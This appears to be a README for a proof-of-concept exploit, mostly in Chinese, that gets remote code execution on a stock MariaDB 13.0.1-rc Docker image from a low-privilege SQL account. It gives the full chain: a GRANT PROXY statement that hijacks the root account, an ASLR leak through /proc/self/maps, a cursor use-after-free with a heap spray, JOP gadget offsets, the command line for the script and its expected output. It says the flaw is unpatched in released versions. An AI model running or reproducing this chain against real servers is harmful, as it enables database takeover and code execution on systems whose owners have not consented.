在未经修改的原版 MariaDB 13.0.1-rc Docker 镜像上以 uid 999(mysql)身份执行远程代码。
两种漏洞利用变体:
| 变体 | 文件 | 要求 | 备注 |
|---|---|---|---|
| 纯 SQL(推荐) | exploit_pure_sql.py | 低权限 MariaDB 账户 + TCP | 无需宿主机访问、无需 docker、无需 /proc/mem、无需 root 密码 |
| 宿主机辅助 PoC | exploit.py | Docker 宿主机上的 root | 通过 /proc/<pid>/mem 写入 JOP 链 |
已在以下镜像上测试并验证:mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 次运行,每次使用全新的 ASLR 基址)。
exploit_pure_sql.py)攻击者仅持有:
lowpriv 用户)及其密码,以及整个链条以 SQL 语句执行;无需宿主机侧进程访问、无需 docker 命令、无需已知地址。每个运行时地址都通过 SQL 从目标自身获取:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
剩余的唯一非 SQL 操作是漏洞利用后的收尾工作:重启 (已崩溃的)容器并显示标记文件——它们不属于漏洞利用的一部分。
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
仅需要 mariadb/mysql 客户端和 Python 3。--container 用于
最终的标记显示(重启 + cat),如果通过其他方式验证标记,
则可以省略。
预期的输出末尾:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' 绕过所有
权限检查。空的认证子句使 LEX_USER::has_auth() 返回 false(跳过
check_alter_user()),而 replace_user_table() 仍会应用空密码——从而替换
root 的凭据。一条 SQL 语句,任意已认证用户,所有已发布的 MariaDB 版本。
/proc/self/maps 绕过 ASLRLOAD DATA INFILE '/proc/self/maps' 从 SQL 内部读取 mariadbd 进程的完整内存
布局,揭示 PIE 基址和 libc 基址。在原版镜像上 secure_file_priv = NULL
(未设置)时有效。
sp_cursor_array::get_cursor_by_ref() 返回指向 Dynamic_array 的
内部指针,该数组的后备存储在增长时由 my_realloc 重新定位。当游标
的 open() 方法运行攻击者控制的 SQL 以打开更多游标时,数组增长,旧存储
被释放,调用者缓存的指针变为悬垂。
被释放的块(16 个游标 × 112 字节 = 1792 字节)被堆喷射回收——128 个用户变量
副本,每个 1784 字节(与 glibc 块精确匹配)。喷射载荷在偏移 0x20 处
(sp_cursor 的 result 成员)放置一个受控的 vtable 指针,该指针随后被用于
虚分派:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
来自原版 mariadbd 二进制的两个 JOP gadget(无 ROP,无栈迁移):
| Gadget | 偏移 | 指令 | 用途 |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | 栈对齐修复 |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] | 加载命令指针,调用 system() |
伪造的 vtable V 位于 128 MiB 缓冲区中;布局:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
在知道缓冲区地址之前写入自引用 JOP 数据,这个先有鸡还是先有蛋的问题 由 glibc 的 mmap 行为解决:
/proc/self/maps 差异找到地址/proc/self/maps 验证;如果地址发生移动,则重新嵌入自引用并重试写入(实践中一次迭代即收敛)相同的链条,但 JOP 布局通过 /proc/<pid>/mem 从 Docker 宿主机(需要 root)
写入进程,载荷脚本通过 docker exec 创建,并使用 compose 文件中的
root 密码连接。作为历史 PoC 保留;纯 SQL 变体已取代它。
sql/sp_cursor.{cc,h} 零提交)。dbd60d0ad8d,MDEV-40470)位于开发分支上,但未出现在任何已发布版本中(已验证 13.0.1 至 10.6.27)。SET GLOBAL max_allowed_packet 提高上限并使用新连接)。DATA_OFF)。| 旧辅助工具(exploit.py) | 纯 SQL 替代方案 |
|---|
docker inspect → PID + 宿主机侧 /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
通过宿主机侧 /proc/<pid>/mem 写入 JOP 链 | 布局在分配时通过 CONCAT/UNHEX 嵌入;地址来自 SQL 侧 maps 差异;mmap 槽位重用使自引用保持有效 |
docker exec ... echo CMD > /tmp/payload_cmd.sh | 命令字符串直接嵌入 JOP 布局 |
mariadb -uroot -plabpass(root 密码) | 从低权限账户通过 GRANT PROXY 提权 |
docker exec ... cat MARKER | 仅用于显示证明 |